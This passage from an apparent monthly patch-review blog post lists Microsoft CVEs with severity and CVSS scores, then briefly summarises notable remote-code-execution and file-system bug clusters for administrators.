CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50451\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57096\n  Windows Routing and\n  Remote Access Service (RRAS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50323\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50452\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50348\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50345\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50322\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50340\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50410\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50449\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50460\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50403\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50385\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50413\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50457\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50486\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50503\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54125\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58527\n  Windows Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50373\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50679\n  Windows Search Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-44806\n  Windows Secure Channel\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-50681\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56186\n  Windows Secure Channel\n  Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50367\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58619\n  Windows Sensor Data\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50311\n  Windows Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50328\n  Windows Server Update\n  Service (WSUS) Tampering Vulnerability\n  Important\n  7.5\n  No\n  No\n  Tampering\n \n \n  CVE-2026-58531\n  Windows SMB Elevation\n  of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-54997\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-49801\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50690\n  Windows SMB\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56168\n  Windows SMB Server\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50360\n  Windows SMB Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57089\n  Windows SMB Server\n  Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50333\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50298\n  Windows Spaceport.sys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49171\n  Windows Speech Runtime\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49170\n  Windows\n  StateRepository API Server file Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58526\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50299\n  Windows Storage Spaces\n  Direct Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57968\n  Windows Subsystem for\n  Linux (WSL2) Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57973\n  Windows Subsystem for\n  Linux (WSL2) Kernel Tampering Vulnerability\n  Important\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50418\n  Windows System Secure\n  Feature Bypass Vulnerability\n  Important\n  5.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50306\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50307\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49177\n  Windows TCP/IP\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50669\n  Windows Telephony\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-54124\n  Windows Terminal\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50350\n  Windows Trusted\n  Runtime Interface Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50326\n  Windows Unified\n  Consent System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49790\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50498\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58547\n  Windows Universal Plug\n  and Play (UPnP) Device Host Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-49794\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  4.6\n  No\n  No\n  Info\n \n \n  CVE-2026-50453\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58528\n  Windows USB Audio\n  Class Driver Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-50321\n  Windows USB Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50479\n  Windows USB Hub Driver\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55000\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-54991\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54996\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49802\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49806\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50674\n  Windows USB Print\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49804\n  Windows USB Video\n  Driver Elevation of Privilege Vulnerability\n  Important\n  6.6\n  No\n  No\n  EoP\n \n \n  CVE-2026-50454\n  Windows User Interface\n  Core Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49176\n  Windows WalletService\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49800\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50480\n  Windows Web Proxy\n  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56173\n  Windows WebView\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58632\n  Windows Win32 Kernel\n  Subsystem Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54107\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54986\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54112\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54114\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50670\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50688\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50687\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56176\n  Windows Win32k\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58628\n  Windows Wireless\n  Network Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50295\n  Windows Zero Trust DNS\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50509\n  Wireless Wide Area\n  Network Service (WwanSvc) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55945\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Moderate\n  4.2\n  No\n  No\n  Info\n \n \n  CVE-2026-45488\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-45489\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Moderate\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55145\n  Outlook Copilot\n  Tampering Vulnerability\n  Moderate\n  6.3\n  No\n  No\n  Tampering\n \n \n  CVE-2026-56181\n  Windows Network\n  Address Translation (NAT) Spoofing Vulnerability\n  Moderate\n  8.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58597\n  Microsoft\n  Edge (Chromium-based) Spoofing Vulnerability\n  Low\n  4.3\n  No\n  No\n  Spoofing\n \n \n \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \n** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.\n \n \nI\u2019ll do my best to summarize everything else in this release, but no promises. I\u2019m only human after all.\n \nLooking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We\u2019ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. 